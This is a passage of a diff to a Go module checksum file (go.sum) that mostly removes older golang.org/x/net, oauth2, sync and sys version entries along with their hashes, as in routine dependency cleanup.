h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190327091125-710a502c58a2/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -1776,7 +586,6 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -1787,51 +596,13 @@ golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/ golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= -golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= -golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= -golang.org/x/net v0.3.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= -golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= -golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= -golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= -golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= -golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -1839,32 +610,7 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= -golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= -golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= -golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= -golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= -golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1876,23 +622,11 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190130150945-aca44879d564/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1903,18 +637,11 @@ golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1936,90 +663,22 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys 